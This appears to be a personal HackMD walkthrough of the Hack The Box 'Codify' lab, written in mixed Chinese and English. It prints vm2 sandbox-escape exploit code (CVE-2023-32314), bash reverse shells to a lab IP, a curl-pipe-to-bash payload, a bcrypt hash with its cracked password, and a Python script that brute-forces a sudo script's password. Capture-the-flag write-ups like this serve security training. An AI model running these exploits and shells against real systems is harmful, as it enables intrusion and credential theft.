---
# System prepended metadata

title: Codify
tags: [htb-easy]

---

# Codify
## 1.nmap scan
![image](https://hackmd.io/_uploads/SJdtw2PVa.png)
```
sudo vim /etc/hosts
```
search "vm2 cve poc github"
![image](https://hackmd.io/_uploads/Hy08snPVa.png)

![image](https://hackmd.io/_uploads/r1uaj3D4p.png)

## 2.write code
稍微改一下程式碼

新增cmd='id'
execSync更換為(cmd)
```
const {VM} = require("vm2");
const vm = new VM();

const code = `
cmd='id'
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`

console.log(vm.run(code));
```
CVE-2023-32314
https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac
```
change execSync("echo hacked")
```
google search "reverse shell command"
```
bash -c 'bash -i >& /dev/tcp/10.10.14.9/9999 0>&1
```
```
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));
```
｜可執行命令
view-source:html
![image](https://hackmd.io/_uploads/rkWkH6vVp.png)

## 3.reverse shell
google search "reverse shell command" and "bin bash"
組成：
```
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.47/9999 0>&1'
```
將內容寫入[file].html並開啟80port http server

![image](https://hackmd.io/_uploads/ByOGNaD4p.png)

修改code:
```
execSync更換為('curl http:/10.10.14.47/ | bash')
```
執行後取得reverse shell
![image](https://hackmd.io/_uploads/SyF88Tv46.png)

## 4.密碼破解
於/var/www/contact目錄
cat tickets.db資料庫檔案發現密碼雜奏
![image](https://hackmd.io/_uploads/BycOUpwET.png)

```
sudo gzip -d rockyou.txt.gz
```

```
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > cc.txt
john --wordlist=/usr/share/wordlists/rockyou.txt cc.txt
spongebob1
```
![image](https://hackmd.io/_uploads/BkpwOaP4a.png)
## 5.ssh login
cat user.txt (flag1)
![image](https://hackmd.io/_uploads/S1gTOaDE6.png)

## 6.提升權限
```
sudo -l
cat /opt/scripts/mysql-backup.sh
```
發現mysql-backup.sh檔案內與密碼驗證相關
![image](https://hackmd.io/_uploads/SJJL5avEp.png)


```
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
```
![image](https://hackmd.io/_uploads/HkHZXCP4a.png)

